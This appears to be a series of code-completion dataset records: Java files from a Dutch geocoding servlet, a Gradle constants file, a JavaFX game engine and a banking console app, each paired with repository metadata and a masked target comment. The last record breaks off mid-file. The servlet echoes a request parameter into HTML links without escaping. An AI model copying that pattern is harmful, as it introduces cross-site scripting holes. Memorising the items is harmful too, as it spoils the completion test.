p.setType(OpenLSConstants.PLACE_TYPE_MUNICIPALITY);
adres.addPlace(p);
}
if (data.containsKey(URL_KEY_PLAATS.code)) {
final Place p = new Place();
p.setPlace(data.get(URL_KEY_PLAATS.code));
p.setType(OpenLSConstants.PLACE_TYPE_MUNICIPALITYSUBDIVISION);
adres.addPlace(p);
}
if (data.containsKey(URL_KEY_WIJK.code)) {
final Place p = new Place();
p.setPlace(data.get(URL_KEY_WIJK.code));
p.setType(OpenLSConstants.PLACE_TYPE_MUNICIPALITYSUBDIVISION);
adres.addPlace(p);
}
if (data.containsKey(URL_KEY_BUURT.code)) {
final Place p = new Place();
p.setPlace(data.get(URL_KEY_BUURT.code));
p.setType(OpenLSConstants.PLACE_TYPE_MUNICIPALITYSUBDIVISION);
adres.addPlace(p);
}
if (data.containsKey(URL_KEY_POSTCODE.code)) {
final PostalCode p = (new PostalCode());
p.setPostalCode(data.get(URL_KEY_POSTCODE.code));
adres.setPostalCode(p);
}
if (data.containsKey(URL_KEY_STRAAT.code)) {
final StreetAddress sa = new StreetAddress();
final Street s = new Street();
s.setStreet(data.get(URL_KEY_STRAAT.code));
sa.setStreet(s);
if (data.containsKey(URL_KEY_HUISNUMMER.code)) {
final Building b = new Building();
b.setNumber(data.get(URL_KEY_HUISNUMMER.code));
sa.setBuilding(b);
}
adres.setStreetAddress(sa);
}
gcr.addAddress(adres);
return gcr;
}
/**
* Renderen van de features in html formaat, wordt alleen aangeroepen in het
* geval de lijst met adressen meer of minder dan 1 object bevat..
*
* @param request
* servlet request
* @param response
* servlet response
* @param addrl
* Een lijst met adressen, de lengte van de lijst is (voor deze
* applicatie) nul of groter dan een, in het geval null dan is er
* geen zoekter ingevuld geweest.
* @throws IOException
* als er een schrijffout optreedt
* @throws ServletException
* the servlet exception
*/
private void renderHTMLResults(HttpServletRequest request,
HttpServletResponse response, List<OpenLSClientAddress> addrl)
throws IOException, ServletException {
// response headers instellen
response.setContentType("text/html; charset=UTF-8");
// header inhaken
final RequestDispatcher header = this.getServletContext()
.getRequestDispatcher("/WEB-INF/locatielijst_begin.jsp");
if (header != null) {
header.include(request, response);
}
final StringBuilder sbResult = new StringBuilder();
StringBuilder sb;
if (addrl == null) {
// niks ingevuld geweest om naar te zoeken
sbResult.append("<p class=\"geozetError\">")
.append(this._RESOURCES.getString("KEY_FOUT_GEEN_INPUT"))
.append("</p>\n");
} else if (addrl.isEmpty()) {
// niks gevonden
sbResult.append("<p class=\"geozetError\">")
.append(this._RESOURCES
.getString("KEY_FOUT_LOCATIE_NIET_GEVONDEN"))
.append("</p>\n");
} else {
// meer dan 1 gevonden
sbResult.append("<p class=\"geozetError\">")
.append(this._RESOURCES
.getString("KEY_FOUT_MEERDERELOCATIES_GEVONDEN"))
.append("</p>\n");
sbResult.append(this._RESOURCES.getString("KEY_FOUT_BEDOELDE_U"));
sbResult.append("<ul class=\"geozetRecommends\">\n");
// door lijst adressen heen gaan
for (final OpenLSClientAddress addr : addrl) {
// samenstellen URL
sb = new StringBuilder();
sb.append(this._BEKENDMAKINGEN).append("?");
sb.append(REQ_PARAM_XCOORD).append("=")
.append(this.formatCoord(addr.getxCoord()))
.append("&");
sb.append(REQ_PARAM_YCOORD).append("=")
.append(this.formatCoord(addr.getyCoord()))
.append("&");
// straal
String straal;
final String reqstraal = request
.getParameter(REQ_PARAM_STRAAL.code);
LOGGER.debug("request straal is: " + reqstraal);
if (reqstraal == null) {
// als de straal niet opgegeven is proberen op basis van de
// OLS hit te bepalen wat de staal zou moeten zijn
if (addr.getAddressString().contains(
OpenLSClientAddress.APPEND_PLAATS)) {
// plaats
straal = OPENLS_ZOOMSCALE_PLAATS.toString();
} else if (addr.getAddressString().contains(
OpenLSClientAddress.APPEND_GEMEENTE)) {
// gemeente
straal = OPENLS_ZOOMSCALE_GEMEENTE.toString();
} else if (addr.getAddressString().contains(
OpenLSClientAddress.APPEND_PROVINCIE)) {
// provincie
straal = OPENLS_ZOOMSCALE_PROVINCIE.toString();
} else {
// default
straal = OPENLS_ZOOMSCALE_STANDAARD.toString();
}
} else {
straal = reqstraal;
}
sb.append(REQ_PARAM_STRAAL).append("=").append(straal)
.append("&");
// sb.append(REQ_PARAM_ADRES).append("=")
// .append(addr.getAddressString()).append("&");
sb.append(REQ_PARAM_ADRES).append("=")
.append(request.getParameter(REQ_PARAM_ADRES.code))
.append("&");
sb.append(REQ_PARAM_GEVONDEN).append("=")
.append(addr.getAddressString());
// coreonly alleen als die aanwezig is
if (null != request.getParameter(REQ_PARAM_COREONLY.code)) {
sb.append("&")
.append(REQ_PARAM_COREONLY)
.append("=")
.append(request
.getParameter(REQ_PARAM_COREONLY.code));
}
// de URL is uiteindelijke HTML/hyperlink output
sbResult.append("<li><a href=\"").append(sb.toString())
.append("\">");
sbResult.append(addr.getAddressString()).append("</a></li>\n");
}
sbResult.append(" </ul>");
}
final PrintWriter out = response.getWriter();
out.print(sbResult);
out.flush();
// footer inhaken
final RequestDispatcher footer = this.getServletContext()
.getRequestDispatcher("/WEB-INF/locatielijst_einde.jsp");
if (footer != null) {
footer.include(request, response);
}
}
}
| mprins/geozet | geozet-webapp/src/main/java/nl/geozet/openls/servlet/OpenLSServlet.java | 5,710 | // er is maar 1 adres match gevonden
| line_comment | nl | package nl.geozet.openls.servlet;
import static nl.geozet.common.NumberConstants.OPENLS_ZOOMSCALE_GEMEENTE;
import static nl.geozet.common.NumberConstants.OPENLS_ZOOMSCALE_PLAATS;
import static nl.geozet.common.NumberConstants.OPENLS_ZOOMSCALE_PROVINCIE;
import static nl.geozet.common.NumberConstants.OPENLS_ZOOMSCALE_STANDAARD;
import static nl.geozet.common.StringConstants.FILTER_CATEGORIE_NAAM;
import static nl.geozet.common.StringConstants.OPENLS_REQ_PARAM_REQUEST;
import static nl.geozet.common.StringConstants.OPENLS_REQ_PARAM_SEARCH;
import static nl.geozet.common.StringConstants.OPENLS_REQ_VALUE_GEOCODE;
import static nl.geozet.common.StringConstants.REQ_PARAM_ADRES;
import static nl.geozet.common.StringConstants.REQ_PARAM_COREONLY;
import static nl.geozet.common.StringConstants.REQ_PARAM_GEVONDEN;
import static nl.geozet.common.StringConstants.REQ_PARAM_STRAAL;
import static nl.geozet.common.StringConstants.REQ_PARAM_XCOORD;
import static nl.geozet.common.StringConstants.REQ_PARAM_YCOORD;
import static nl.geozet.common.StringConstants.SERVLETCONFIG_OPENLS_SERVER_URL;
import static nl.geozet.common.StringConstants.URL_KEY_BUURT;
import static nl.geozet.common.StringConstants.URL_KEY_GEMEENTE;
import static nl.geozet.common.StringConstants.URL_KEY_HUISNUMMER;
import static nl.geozet.common.StringConstants.URL_KEY_PLAATS;
import static nl.geozet.common.StringConstants.URL_KEY_POSTCODE;
import static nl.geozet.common.StringConstants.URL_KEY_PROVINCIE;
import static nl.geozet.common.StringConstants.URL_KEY_STRAAT;
import static nl.geozet.common.StringConstants.URL_KEY_WIJK;
import java.io.IOException;
import java.io.PrintWriter;
import java.text.DecimalFormat;
import java.text.ParseException;
import java.util.Arrays;
import java.util.HashMap;
import java.util.List;
import java.util.Map;
import java.util.TreeMap;
import javax.servlet.RequestDispatcher;
import javax.servlet.ServletConfig;
import javax.servlet.ServletException;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import nl.geozet.common.DataCategorieen;
import nl.geozet.common.HttpWrappedRequest;
import nl.geozet.common.ServletBase;
import nl.geozet.common.StringConstants;
import nl.geozet.openls.client.OpenLSClient;
import nl.geozet.openls.client.OpenLSClientAddress;
import nl.geozet.openls.client.OpenLSClientUtil;
import nl.geozet.openls.databinding.openls.Address;
import nl.geozet.openls.databinding.openls.Building;
import nl.geozet.openls.databinding.openls.GeocodeRequest;
import nl.geozet.openls.databinding.openls.GeocodeResponse;
import nl.geozet.openls.databinding.openls.OpenLSConstants;
import nl.geozet.openls.databinding.openls.Place;
import nl.geozet.openls.databinding.openls.PostalCode;
import nl.geozet.openls.databinding.openls.Street;
import nl.geozet.openls.databinding.openls.StreetAddress;
import org.apache.log4j.Logger;
/**
* OpenLSServlet is een OLS client voor de Geozet applicatie. In het geval een
* zoekactie een locatie oplevert wordt het request gelijk doorgestuurd naar de
* {@link nl.geozet.wfs.WFSClientServlet WFSClientServlet}
*
* @author [email protected]
* @author [email protected]
* @since 1.6
* @since Servlet API 2.5
* @note zoeken en tonen van een locatie
*/
public class OpenLSServlet extends ServletBase {
/** generated serialVersionUID. */
private static final long serialVersionUID = -6545660249959378114L;
/** onze LOGGER. */
private static final Logger LOGGER = Logger.getLogger(OpenLSServlet.class);
/** de Open LS server url. */
private String openLSServerUrl;
/** De open ls client die het echte werk doet. */
private transient OpenLSClient openLSClient;
/*
* (non-Javadoc)
*
* @see javax.servlet.GenericServlet#init(javax.servlet.ServletConfig)
*/
@Override
public void init(ServletConfig config) throws ServletException {
super.init(config);
this.openLSClient = new OpenLSClient();
// init params inlezen en controleren
this.openLSServerUrl = config
.getInitParameter(SERVLETCONFIG_OPENLS_SERVER_URL.code);
if (this.openLSServerUrl == null) {
LOGGER.fatal("config param " + SERVLETCONFIG_OPENLS_SERVER_URL
+ " is null.");
throw new ServletException("config param "
+ SERVLETCONFIG_OPENLS_SERVER_URL + " is null.");
}
}
/*
* (non-Javadoc)
*
* @see
* javax.servlet.http.HttpServlet#service(javax.servlet.http.HttpServletRequest
* , javax.servlet.http.HttpServletResponse)
*/
@Override
protected void service(HttpServletRequest request,
HttpServletResponse response) throws ServletException, IOException {
String zoekAdres = request.getParameter(REQ_PARAM_ADRES.code);
if ((zoekAdres.length() < 1)
|| (zoekAdres.equalsIgnoreCase(this._RESOURCES
.getString("KEY_INTRO_VOORINGEVULD")))) {
// als er geen tekst is ingevuld (of de tekst is hetzelfde als die
// in de resource bundle)
this.renderHTMLResults(request, response, null);
response.flushBuffer();
return;
}
// opknippen in de bekende stukjes voor "aansluit specs ingang"
if (zoekAdres.startsWith("/")) {
// lopende / eraf knippen
zoekAdres = zoekAdres.substring(1);
}
final String params[] = zoekAdres.split("/");
LOGGER.debug("gevraagde params: " + Arrays.toString(params));
// hashtable met zoektermen en evt. straal
String straal = null;
final HashMap<String, String> paramTable = new HashMap<String, String>();
if (params.length > 1) {
for (int i = 0; i < params.length; i = i + 2) {
paramTable.put(params[i].toLowerCase(), params[i + 1]);
LOGGER.debug("toevoegen: " + params[i] + ":" + params[i + 1]);
}
// proberen straal uit request te halen
if (paramTable.containsKey(REQ_PARAM_STRAAL.code)) {
straal = paramTable.remove(REQ_PARAM_STRAAL.code);
}
final StringBuilder sb = new StringBuilder();
for (final String key : StringConstants.urlKeys()) {
if (paramTable.containsKey(key)) {
sb.append(paramTable.get(key)).append(" ");
}
}
zoekAdres = sb.substring(0, sb.length() - 1).toString();
}
final Map<String, String> openLSParams = new TreeMap<String, String>();
openLSParams.put(OPENLS_REQ_PARAM_REQUEST.code,
OPENLS_REQ_VALUE_GEOCODE.code);
openLSParams.put(OPENLS_REQ_PARAM_SEARCH.code, zoekAdres);
final GeocodeResponse gcr;
if (!paramTable.isEmpty()) {
// voor als we kunnen POSTen; vooralsnog werkt dat alleen met de
// complexe urls van de aansluit specs
gcr = this.openLSClient.doPostOpenLSRequest(this.openLSServerUrl,
this.createGeocodeRequest(paramTable));
} else {
gcr = this.openLSClient.doGetOpenLSRequest(this.openLSServerUrl,
openLSParams);
}
final List<OpenLSClientAddress> addrl = OpenLSClientUtil
.getOpenLSClientAddressList(gcr);
if (addrl.size() == 1) {
// er is<SUF>
final OpenLSClientAddress addr = addrl.get(0);
// request parameters voor vervolg opbouwen
final Map<String, String[]> extraParams = new HashMap<String, String[]>();
extraParams.put(REQ_PARAM_XCOORD.code,
new String[] { this.formatCoord(addr.getxCoord()) });
extraParams.put(REQ_PARAM_YCOORD.code,
new String[] { this.formatCoord(addr.getyCoord()) });
extraParams
.put(REQ_PARAM_STRAAL.code,
new String[] { (null == straal) ? OPENLS_ZOOMSCALE_STANDAARD
.toString() : straal });
extraParams.put(REQ_PARAM_GEVONDEN.code,
new String[] { addr.getAddressString() });
extraParams.put(FILTER_CATEGORIE_NAAM.code,
DataCategorieen.keysAsArray());
// doorgeven aan bekendmakingen servlet voor zoekactie
final HttpServletRequest wrappedRequest = new HttpWrappedRequest(
request, extraParams);
final RequestDispatcher rd = this.getServletContext()
.getRequestDispatcher("/" + this._BEKENDMAKINGEN);
rd.forward(wrappedRequest, response);
} else {
// er zijn 0 of meer dan 1 adressen gevonden
this.renderHTMLResults(request, response, addrl);
response.flushBuffer();
}
}
/**
* zorgt ervoor dat eventuele doubles als integer worden gerenderd. Als het
* niet lukt wordt de oorspronkelijke waarde teruggeven.
*
* @param coord
* een coordinaat waarde
* @return de waarde in integer formaat
*/
private String formatCoord(String coord) {
/** coordinaten formatter. */
final DecimalFormat fmt = new DecimalFormat("###");
try {
// formatting als int
return "" + (fmt.parse(coord).intValue());
} catch (final ParseException e) {
LOGGER.warn("Fout tijden parsen van cooridnaat: " + coord, e);
return coord;
} catch (final NullPointerException e) {
LOGGER.warn("Fout tijden parsen van cooridnaat: " + coord, e);
return coord;
}
}
/**
* maakt een geocode request om te posten naar de service.
*
* @param data
* Map met zoekdata uit de url
* @return zoekobject
*/
private GeocodeRequest createGeocodeRequest(Map<String, String> data) {
final GeocodeRequest gcr = new GeocodeRequest();
final Address adres = new Address();
if (data.containsKey(URL_KEY_PROVINCIE.code)) {
final Place p = new Place();
p.setPlace(data.get(URL_KEY_PROVINCIE.code));
p.setType(OpenLSConstants.PLACE_TYPE_COUNTRYSUBDIVISION);
adres.addPlace(p);
}
if (data.containsKey(URL_KEY_GEMEENTE.code)) {
final Place p = new Place();
p.setPlace(data.get(URL_KEY_GEMEENTE.code));
p.setType(OpenLSConstants.PLACE_TYPE_MUNICIPALITY);
adres.addPlace(p);
}
if (data.containsKey(URL_KEY_PLAATS.code)) {
final Place p = new Place();
p.setPlace(data.get(URL_KEY_PLAATS.code));
p.setType(OpenLSConstants.PLACE_TYPE_MUNICIPALITYSUBDIVISION);
adres.addPlace(p);
}
if (data.containsKey(URL_KEY_WIJK.code)) {
final Place p = new Place();
p.setPlace(data.get(URL_KEY_WIJK.code));
p.setType(OpenLSConstants.PLACE_TYPE_MUNICIPALITYSUBDIVISION);
adres.addPlace(p);
}
if (data.containsKey(URL_KEY_BUURT.code)) {
final Place p = new Place();
p.setPlace(data.get(URL_KEY_BUURT.code));
p.setType(OpenLSConstants.PLACE_TYPE_MUNICIPALITYSUBDIVISION);
adres.addPlace(p);
}
if (data.containsKey(URL_KEY_POSTCODE.code)) {
final PostalCode p = (new PostalCode());
p.setPostalCode(data.get(URL_KEY_POSTCODE.code));
adres.setPostalCode(p);
}
if (data.containsKey(URL_KEY_STRAAT.code)) {
final StreetAddress sa = new StreetAddress();
final Street s = new Street();
s.setStreet(data.get(URL_KEY_STRAAT.code));
sa.setStreet(s);
if (data.containsKey(URL_KEY_HUISNUMMER.code)) {
final Building b = new Building();
b.setNumber(data.get(URL_KEY_HUISNUMMER.code));
sa.setBuilding(b);
}
adres.setStreetAddress(sa);
}
gcr.addAddress(adres);
return gcr;
}
/**
* Renderen van de features in html formaat, wordt alleen aangeroepen in het
* geval de lijst met adressen meer of minder dan 1 object bevat..
*
* @param request
* servlet request
* @param response
* servlet response
* @param addrl
* Een lijst met adressen, de lengte van de lijst is (voor deze
* applicatie) nul of groter dan een, in het geval null dan is er
* geen zoekter ingevuld geweest.
* @throws IOException
* als er een schrijffout optreedt
* @throws ServletException
* the servlet exception
*/
private void renderHTMLResults(HttpServletRequest request,
HttpServletResponse response, List<OpenLSClientAddress> addrl)
throws IOException, ServletException {
// response headers instellen
response.setContentType("text/html; charset=UTF-8");
// header inhaken
final RequestDispatcher header = this.getServletContext()
.getRequestDispatcher("/WEB-INF/locatielijst_begin.jsp");
if (header != null) {
header.include(request, response);
}
final StringBuilder sbResult = new StringBuilder();
StringBuilder sb;
if (addrl == null) {
// niks ingevuld geweest om naar te zoeken
sbResult.append("<p class=\"geozetError\">")
.append(this._RESOURCES.getString("KEY_FOUT_GEEN_INPUT"))
.append("</p>\n");
} else if (addrl.isEmpty()) {
// niks gevonden
sbResult.append("<p class=\"geozetError\">")
.append(this._RESOURCES
.getString("KEY_FOUT_LOCATIE_NIET_GEVONDEN"))
.append("</p>\n");
} else {
// meer dan 1 gevonden
sbResult.append("<p class=\"geozetError\">")
.append(this._RESOURCES
.getString("KEY_FOUT_MEERDERELOCATIES_GEVONDEN"))
.append("</p>\n");
sbResult.append(this._RESOURCES.getString("KEY_FOUT_BEDOELDE_U"));
sbResult.append("<ul class=\"geozetRecommends\">\n");
// door lijst adressen heen gaan
for (final OpenLSClientAddress addr : addrl) {
// samenstellen URL
sb = new StringBuilder();
sb.append(this._BEKENDMAKINGEN).append("?");
sb.append(REQ_PARAM_XCOORD).append("=")
.append(this.formatCoord(addr.getxCoord()))
.append("&");
sb.append(REQ_PARAM_YCOORD).append("=")
.append(this.formatCoord(addr.getyCoord()))
.append("&");
// straal
String straal;
final String reqstraal = request
.getParameter(REQ_PARAM_STRAAL.code);
LOGGER.debug("request straal is: " + reqstraal);
if (reqstraal == null) {
// als de straal niet opgegeven is proberen op basis van de
// OLS hit te bepalen wat de staal zou moeten zijn
if (addr.getAddressString().contains(
OpenLSClientAddress.APPEND_PLAATS)) {
// plaats
straal = OPENLS_ZOOMSCALE_PLAATS.toString();
} else if (addr.getAddressString().contains(
OpenLSClientAddress.APPEND_GEMEENTE)) {
// gemeente
straal = OPENLS_ZOOMSCALE_GEMEENTE.toString();
} else if (addr.getAddressString().contains(
OpenLSClientAddress.APPEND_PROVINCIE)) {
// provincie
straal = OPENLS_ZOOMSCALE_PROVINCIE.toString();
} else {
// default
straal = OPENLS_ZOOMSCALE_STANDAARD.toString();
}
} else {
straal = reqstraal;
}
sb.append(REQ_PARAM_STRAAL).append("=").append(straal)
.append("&");
// sb.append(REQ_PARAM_ADRES).append("=")
// .append(addr.getAddressString()).append("&");
sb.append(REQ_PARAM_ADRES).append("=")
.append(request.getParameter(REQ_PARAM_ADRES.code))
.append("&");
sb.append(REQ_PARAM_GEVONDEN).append("=")
.append(addr.getAddressString());
// coreonly alleen als die aanwezig is
if (null != request.getParameter(REQ_PARAM_COREONLY.code)) {
sb.append("&")
.append(REQ_PARAM_COREONLY)
.append("=")
.append(request
.getParameter(REQ_PARAM_COREONLY.code));
}
// de URL is uiteindelijke HTML/hyperlink output
sbResult.append("<li><a href=\"").append(sb.toString())
.append("\">");
sbResult.append(addr.getAddressString()).append("</a></li>\n");
}
sbResult.append(" </ul>");
}
final PrintWriter out = response.getWriter();
out.print(sbResult);
out.flush();
// footer inhaken
final RequestDispatcher footer = this.getServletContext()
.getRequestDispatcher("/WEB-INF/locatielijst_einde.jsp");
if (footer != null) {
footer.include(request, response);
}
}
}
|
113659_1 | package jimu;
public interface Consts {
String GROUP_ID = "io.github.leobert-lan";
String jimu_plugin_name = "com.dd.comgradle";
interface Artifacts {
String router_anno_compiler = "jimu-router-anno-compiler";
}
interface Versions {
String jimu_plugin = "1.3.6";
String router_anno_compiler = "1.0.2";
//todo
// def ARTIFACT_ID = 'jimu-router-anno-compiler'
// def VERSION_NAME = '1.0.1'
// def GROUP_ID = 'io.github.leobert-lan'
}
interface Deps {
String JIMU_PLUGIN = GROUP_ID + ":jimu-build-gradle:" + Versions.jimu_plugin;
String JIMU_ROUTER_COMPILER = GROUP_ID + ":" + Artifacts.router_anno_compiler + ":" + Versions.router_anno_compiler;
}
} | mqzhangw/JIMU | src_build/main/java/jimu/Consts.java | 277 | // def VERSION_NAME = '1.0.1' | line_comment | nl | package jimu;
public interface Consts {
String GROUP_ID = "io.github.leobert-lan";
String jimu_plugin_name = "com.dd.comgradle";
interface Artifacts {
String router_anno_compiler = "jimu-router-anno-compiler";
}
interface Versions {
String jimu_plugin = "1.3.6";
String router_anno_compiler = "1.0.2";
//todo
// def ARTIFACT_ID = 'jimu-router-anno-compiler'
// def VERSION_NAME<SUF>
// def GROUP_ID = 'io.github.leobert-lan'
}
interface Deps {
String JIMU_PLUGIN = GROUP_ID + ":jimu-build-gradle:" + Versions.jimu_plugin;
String JIMU_ROUTER_COMPILER = GROUP_ID + ":" + Artifacts.router_anno_compiler + ":" + Versions.router_anno_compiler;
}
} |
53008_2 | package engine;
import behavior.Behavior;
import behavior.BehaviorManager;
import behavior.CollisionManager;
import behavior.KeyBehaviorManager;
import behavior.behaviors.Collidable;
import behavior.behaviors.KeyBehavior;
import game.Element;
import game.Game;
import game.Level;
import javafx.animation.AnimationTimer;
import javafx.application.Application;
import javafx.stage.Stage;
import java.util.ArrayList;
import java.util.HashMap;
import java.util.Set;
/**
* De engine is het controlle mechanisme van het spel.
*/
public class Engine {
private static Game game;
private Renderer renderer;
private HashMap<Class<? extends Behavior>, BehaviorManager> behaviors;
private Stage stage;
public Engine(Game game) {
this.game = game;
this.behaviors = new HashMap<>();
}
/**
* Dit is een methode om het game object overal te kunnen verkrijgen in het spel.
* Gebruik deze methode voor het toevoegen van elementen aan het spel tijdens het draaien van het spel.
* @return de game
* */
public static Game getGameGlobaly() {
return game;
}
/**
* Dit is een methode om het spel te starten.
*
* @param primaryStage die meegegeven word vanuit bij het opstarten van een javafx applicatie.
* */
public void start(Stage primaryStage) {
this.stage = primaryStage;
setupInitialBehaviorsAndRenderer();
renderer.render();
new AnimationTimer() {
@Override
public void handle(long now) {
Set<Class<? extends Behavior>> behaviorsKeySet = getBehaviors().keySet();
for (Class<? extends Behavior> behavior : behaviorsKeySet) {
BehaviorManager behaviorManager = getBehaviors().get(behavior);
Level level = getGame().getActiveLevel();
ArrayList<Element> elements = level.getElements();
for (Element element : elements) {
if (behavior.isInstance(element))
behaviorManager.handle(element);
}
}
renderer.render();
}
}.start();
}
private void setupInitialBehaviorsAndRenderer() {
this.renderer = new Renderer(game,stage);
if(getGame().getActiveLevel().getFocusedElement() != null){
focusOnElement(getGame().getActiveLevel().getFocusedElement());
}
KeyBehaviorManager keyBehaviorManager = new KeyBehaviorManager(stage);
CollisionManager collisionManager = new CollisionManager(game);
addBehavior(Collidable.class,collisionManager);
addBehavior(KeyBehavior.class, keyBehaviorManager);
}
public void resetRenderer(){
this.renderer.resetRenderer();
}
/**
* Hiermee kan er een gedrag aan de game toegevoegd worden.
*
* @param behavior het gedrag dat in de game aanwezig is.
* @param behaviorManager de manager die het gedrag kan afhandelen.
* */
public void addBehavior(Class<? extends Behavior> behavior, BehaviorManager behaviorManager) {
this.behaviors.put(behavior, behaviorManager);
}
/**
* Hiermee kan een focus van de camera op een element gezet worden. Bijvoorbeeld de character die je bestuurd.
*
* @param element de character waarop je de camera op kan laten focussen.
* */
public void focusOnElement(Element element) {
this.renderer.getCamera().focus(element);
}
/**
* Hiermee kan de instantie van de game opgevraagd worden, maar alleen als je een instantie van de engine hebt.
*
* @return de game
* */
public Game getGame() {
return this.game;
}
/**
* Hiermee kan je al het gedrag dat in de game aanwezig is opvragen.
*
* @return een HashMap met alle soorten gedrag.
* Deze bevatten .class objecten geen daadwerkelijke instanties van het gedrag.
* */
public HashMap<Class<? extends Behavior>, BehaviorManager> getBehaviors() {
return this.behaviors;
}
}
| mr0x13f/IPOSE-Kent-Beck | engine/engine/Engine.java | 1,107 | /**
* Dit is een methode om het spel te starten.
*
* @param primaryStage die meegegeven word vanuit bij het opstarten van een javafx applicatie.
* */ | block_comment | nl | package engine;
import behavior.Behavior;
import behavior.BehaviorManager;
import behavior.CollisionManager;
import behavior.KeyBehaviorManager;
import behavior.behaviors.Collidable;
import behavior.behaviors.KeyBehavior;
import game.Element;
import game.Game;
import game.Level;
import javafx.animation.AnimationTimer;
import javafx.application.Application;
import javafx.stage.Stage;
import java.util.ArrayList;
import java.util.HashMap;
import java.util.Set;
/**
* De engine is het controlle mechanisme van het spel.
*/
public class Engine {
private static Game game;
private Renderer renderer;
private HashMap<Class<? extends Behavior>, BehaviorManager> behaviors;
private Stage stage;
public Engine(Game game) {
this.game = game;
this.behaviors = new HashMap<>();
}
/**
* Dit is een methode om het game object overal te kunnen verkrijgen in het spel.
* Gebruik deze methode voor het toevoegen van elementen aan het spel tijdens het draaien van het spel.
* @return de game
* */
public static Game getGameGlobaly() {
return game;
}
/**
* Dit is een<SUF>*/
public void start(Stage primaryStage) {
this.stage = primaryStage;
setupInitialBehaviorsAndRenderer();
renderer.render();
new AnimationTimer() {
@Override
public void handle(long now) {
Set<Class<? extends Behavior>> behaviorsKeySet = getBehaviors().keySet();
for (Class<? extends Behavior> behavior : behaviorsKeySet) {
BehaviorManager behaviorManager = getBehaviors().get(behavior);
Level level = getGame().getActiveLevel();
ArrayList<Element> elements = level.getElements();
for (Element element : elements) {
if (behavior.isInstance(element))
behaviorManager.handle(element);
}
}
renderer.render();
}
}.start();
}
private void setupInitialBehaviorsAndRenderer() {
this.renderer = new Renderer(game,stage);
if(getGame().getActiveLevel().getFocusedElement() != null){
focusOnElement(getGame().getActiveLevel().getFocusedElement());
}
KeyBehaviorManager keyBehaviorManager = new KeyBehaviorManager(stage);
CollisionManager collisionManager = new CollisionManager(game);
addBehavior(Collidable.class,collisionManager);
addBehavior(KeyBehavior.class, keyBehaviorManager);
}
public void resetRenderer(){
this.renderer.resetRenderer();
}
/**
* Hiermee kan er een gedrag aan de game toegevoegd worden.
*
* @param behavior het gedrag dat in de game aanwezig is.
* @param behaviorManager de manager die het gedrag kan afhandelen.
* */
public void addBehavior(Class<? extends Behavior> behavior, BehaviorManager behaviorManager) {
this.behaviors.put(behavior, behaviorManager);
}
/**
* Hiermee kan een focus van de camera op een element gezet worden. Bijvoorbeeld de character die je bestuurd.
*
* @param element de character waarop je de camera op kan laten focussen.
* */
public void focusOnElement(Element element) {
this.renderer.getCamera().focus(element);
}
/**
* Hiermee kan de instantie van de game opgevraagd worden, maar alleen als je een instantie van de engine hebt.
*
* @return de game
* */
public Game getGame() {
return this.game;
}
/**
* Hiermee kan je al het gedrag dat in de game aanwezig is opvragen.
*
* @return een HashMap met alle soorten gedrag.
* Deze bevatten .class objecten geen daadwerkelijke instanties van het gedrag.
* */
public HashMap<Class<? extends Behavior>, BehaviorManager> getBehaviors() {
return this.behaviors;
}
}
|
30825_0 | package nl.aalten.javabuddy;
import java.time.LocalDate;
import java.util.Scanner;
import nl.aalten.javabuddy.newdomain.Bank;
import nl.aalten.javabuddy.newdomain.Persoon;
public class BankApplication {
public static boolean nogNietEindeProgramma = true;
private static Bank bank = new Bank("Java");
public static void main(String[] args) {
while (nogNietEindeProgramma) {
Invoer invoer = showKeuzes();
}
}
private static Invoer showKeuzes() {
Scanner input = new Scanner(System.in);
System.out.println("1 Een nieuwe klant toevoegen ");
System.out.println("2 Een bestaande klant opvragen ");
System.out.println("3 Geld storten/opnemen op een bepaalde rekening ");
System.out.println("4 Geld overmaken naar een andere rekening ");
System.out.println("5 Nog een rekening openen van een bestaande klant ");
System.out.println("9 Einde ");
boolean DoeWAtinvoer = bank.toString().isEmpty();
String input_keuze = input.nextLine();
System.out.println("U heeft de volgende keuze gemaakt: " + input_keuze);
Invoer invoer = new Invoer();
switch (input_keuze) {
case "1":
/* Richard : Ipv dat je vanuit de BankApplication alle stappen doet (dus createNewPersoon, createBetaalrekening etc), is de Bank verantwoordelijk voor alles wat nodig is
* om een nieuwe account te openen.
* Ik verwacht dus eigenlijk een openAccount methode op Bank die alles doet:
* bank.openAccount("12345", "Anne", LocalDate.of(1966, 12, 12))
* De openAccount zou dan een rekeningNummer kunnen teruggeven waarop je dan geld kunt storten */
bank.fillInitialPersonAndAccountDbase("12345", "Anne", LocalDate.of(1966, 12, 12));
bank.fillInitialPersonAndAccountDbase("98765", "Piet", LocalDate.of(1956, 11, 11));
break;
case "2":
System.out.println("Wat is het bsn nummer de klant");
String bsnNummerGezocht = (input.nextLine());
invoer.setBsn(bsnNummerGezocht);
Persoon persoon = bank.findPersoon(bsnNummerGezocht);
System.out.println("Dit is de opgevraagde klant " + persoon.getNaam() + " " + persoon.getGeboorteDatum());
for (int i = 0; i < persoon.getRekeningen().size(); i++) {
System.out.println("Rekeningnummer" + i + " is: " + persoon.getRekeningen().get(i).getRekeningNummer() + " saldo: " + persoon.getRekeningen().get(i).getSaldo() + " limiet: " + persoon.getRekeningen().get(i).getKredietLimiet());
}
break;
case "3":
bank.deposit("NLJAVA1000000003", 50);
bank.withdraw("NLJAVA1000000003", 20);
break;
case "4":
bank.transferMoney("NLJAVA1000000003", "NLJAVA1000000001", 25);
break;
case "5":
System.out.println("Wat is het bsn nummer de klant");
bsnNummerGezocht = (input.nextLine());
invoer.setBsn(bsnNummerGezocht);
Persoon persoonGezocht = bank.findPersoon(bsnNummerGezocht);
persoonGezocht.addRekening(bank.createRekening("spaar"));
break;
case "9":
nogNietEindeProgramma = false;
System.out.println("Prograama stopt");
break;
default:
System.out.println("U heeft een ongeldige keuze gemaakt");
}
return invoer;
}
}
| mraalten/javabuddy | src/main/java/nl/aalten/javabuddy/BankApplication.java | 1,157 | /* Richard : Ipv dat je vanuit de BankApplication alle stappen doet (dus createNewPersoon, createBetaalrekening etc), is de Bank verantwoordelijk voor alles wat nodig is
* om een nieuwe account te openen.
* Ik verwacht dus eigenlijk een openAccount methode op Bank die alles doet:
* bank.openAccount("12345", "Anne", LocalDate.of(1966, 12, 12))
* De openAccount zou dan een rekeningNummer kunnen teruggeven waarop je dan geld kunt storten */ | block_comment | nl | package nl.aalten.javabuddy;
import java.time.LocalDate;
import java.util.Scanner;
import nl.aalten.javabuddy.newdomain.Bank;
import nl.aalten.javabuddy.newdomain.Persoon;
public class BankApplication {
public static boolean nogNietEindeProgramma = true;
private static Bank bank = new Bank("Java");
